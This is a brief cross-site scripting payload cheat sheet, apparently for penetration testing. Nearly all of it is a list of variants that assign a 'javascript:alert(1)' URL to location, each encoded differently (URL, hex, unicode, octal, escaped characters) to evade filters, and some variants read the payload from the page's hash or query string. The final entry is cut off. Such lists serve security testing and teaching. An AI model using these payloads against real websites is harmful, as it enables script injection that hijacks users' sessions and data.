XSS location
location="javascript:alert(1)" location="javascript:alert%281%29" // urlencode location="javascript:alert\x281\x29" // hex location="javascript:alert\u00281\u0029" // unicode location="javascript:alert\501\51" // oct location="\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)" location=location.hash.slice(1,) // #javascript:alert(1) location=location.search.slice(1,) // ?javascript:alert(1) location="javascript:..